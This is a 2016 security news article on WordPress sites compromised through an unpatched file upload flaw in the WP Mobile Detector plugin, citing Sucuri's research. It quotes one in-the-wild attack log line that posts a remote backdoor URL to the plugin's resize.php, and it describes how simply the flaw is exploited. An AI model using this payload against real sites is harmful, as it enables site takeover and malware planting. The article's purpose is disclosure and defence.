• Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
MUST READ

China-linked group Houken hit French organizations using zero-days

 | 

Cybercriminals Target Brazil: 248,725 Exposed in CIEE One Data Breach

 | 

Europol shuts down Archetyp Market, longest-running dark web drug marketplace

 | 

Kelly Benefits data breach has impacted 550,000 people, and the situation continues to worsen as the investigation progresses

 | 

Cisco removed the backdoor account from its Unified Communications Manager

 | 

U.S. Sanctions Russia's Aeza Group for aiding crooks with bulletproof hosting

 | 

Qantas confirms customer data breach amid Scattered Spider attacks

 | 

CVE-2025-6554 is the fourth Chrome zero-day patched by Google in 2025

 | 

U.S. CISA adds TeleMessage TM SGNL flaws to its Known Exploited Vulnerabilities catalog

 | 

A sophisticated cyberattack hit the International Criminal Court

 | 

Esse Health data breach impacted 263,000 individuals

 | 

Europol dismantles €460M crypto scam targeting 5,000 victims worldwide

 | 

CISA and U.S. Agencies warn of ongoing Iranian cyber threats to critical infrastructure

 | 

U.S. CISA adds Citrix NetScaler flaw to its Known Exploited Vulnerabilities catalog

 | 

Canada bans Hikvision over national security concerns

 | 

Denmark moves to protect personal identity from deepfakes with new copyright law

 | 

Ahold Delhaize data breach affected over 2.2 Million individuals

 | 

Facebook wants access to your camera roll for AI photo edits

 | 

SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 51

 | 

Security Affairs newsletter Round 530 by Pierluigi Paganini – INTERNATIONAL EDITION

 | 
  • Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
  • Home
  • Breaking News
  • Hacking
  • Malware
  • 10,000+ WordPress websites compromised due to a flaw in WP Mobile Detector plugin

10,000+ WordPress websites compromised due to a flaw in WP Mobile Detector plugin

Pierluigi Paganini June 03, 2016

More than 10,000 WordPress installations being exploited in the wild due to a vulnerability in the  WP Mobile Detector plugin.

Security experts at Sucuri reported that a growing number of WordPress installations have been compromised by hackers exploiting a security flaw in a widely used plugin called WP Mobile Detector.

The worrisome news is that the vulnerability exploited by threat actors in the wild remains unpatched.

According to the experts at Sucuri, the hackers mainly exploited the flaw in the WP Mobile Detector plugin to install porn-related spamming scripts.

The plugin has been removed from the official WordPress plugin directory after the disclosure of the vulnerability.

“Our research team started to dig into the issue and found that the common denominator across these WordPress sites was the plugin WP Mobile Detector that had a 0-day arbitrary file upload vulnerability disclosed on May 31st. The plugin has since been removed from the WordPress repository and no patches are available.” reported a blog post published by Sucuri. “This vulnerability was publicly disclosed May 31st, but according to our firewall logs, the attack has been going since May 27th. “

It has been estimated that the plugin had more than 10,000 active installations, and many of them are still vulnerable to cyber attacks.

WP Mobile Detector plugin

The flaw results from the plugin failure of the input validation that allows attackers to submit malicious PHP code in input.

“The vulnerability is very easy to exploit,” continues Sucuri. “All the attacker needs to do is send a request to resize.php or timthumb.php (yes, timthumb, in this case it just includes resize.php), inside the plugin directory with the backdoor URL.”

This is one of the payloads we are actively seeing in the wild:

188.73.152.166 - - [31/May/2016:23:54:43 -0400] "POST /wp-content/plugins/wp-mobile-detector/resize.php
Payload:src=hxxp://copia[.]ru/mig/tmp/css.php"

The experts highlight that there is no fix available, this means that it is better to uninstall the flawed WP Mobile Detector plugin.

“We highly recommend everyone to remove this plugin for now. If you really need this plugin, the partial temporary fix will be to disable PHP execution in the wp-mobile-detector/cache subdirectory, for example using this code in the .htaccess file.”

<Files *.php>
deny from all
</Files>

Administrators of infected WordPress websites can request support to Sucuri.

If you appreciate my effort in spreading cyber security awareness, please vote for Security Affairs as best European Security Blog. Vote SecurityAffairs in every section it is reported. I’m one of the finalists and I want to demonstrate that the Security Affairs community a great reality.

https://www.surveymonkey.com/r/secbloggerwards2016

Thank you

Pierluigi

[adrotate banner=”9″]

Pierluigi Paganini

(Security Affairs – WP Mobile Detector, WordPress)


facebook linkedin twitter

malware Wordpress WP Mobile Detector

you might also like

Pierluigi Paganini July 03, 2025
China-linked group Houken hit French organizations using zero-days
Read more
Pierluigi Paganini July 03, 2025
Cybercriminals Target Brazil: 248,725 Exposed in CIEE One Data Breach
Read more

leave a comment

newsletter

Subscribe to my email list and stay
up-to-date!

    recent articles

    China-linked group Houken hit French organizations using zero-days

    APT / July 03, 2025

    Cybercriminals Target Brazil: 248,725 Exposed in CIEE One Data Breach

    Data Breach / July 03, 2025

    Europol shuts down Archetyp Market, longest-running dark web drug marketplace

    Cyber Crime / July 03, 2025

    Kelly Benefits data breach has impacted 550,000 people, and the situation continues to worsen as the investigation progresses

    Uncategorized / July 03, 2025

    Cisco removed the backdoor account from its Unified Communications Manager

    Security / July 02, 2025

    To contact me write an email to:

    Pierluigi Paganini :
    pierluigi.paganini@securityaffairs.co

    LEARN MORE

    QUICK LINKS

    • Home
    • Cyber Crime
    • Cyber warfare
    • APT
    • Data Breach
    • Deep Web
    • Digital ID
    • Hacking
    • Hacktivism
    • Intelligence
    • Internet of Things
    • Laws and regulations
    • Malware
    • Mobile
    • Reports
    • Security
    • Social Networks
    • Terrorism
    • ICS-SCADA
    • POLICIES
    • Contact me

    Copyright@securityaffairs 2024

    We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept All”, you consent to the use of ALL the cookies. However, you may visit "Cookie Settings" to provide a controlled consent.
    Cookie SettingsAccept All
    Manage consent

    Privacy Overview

    This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities...
    Necessary
    Always Enabled
    Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
    Non-necessary
    Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
    SAVE & ACCEPT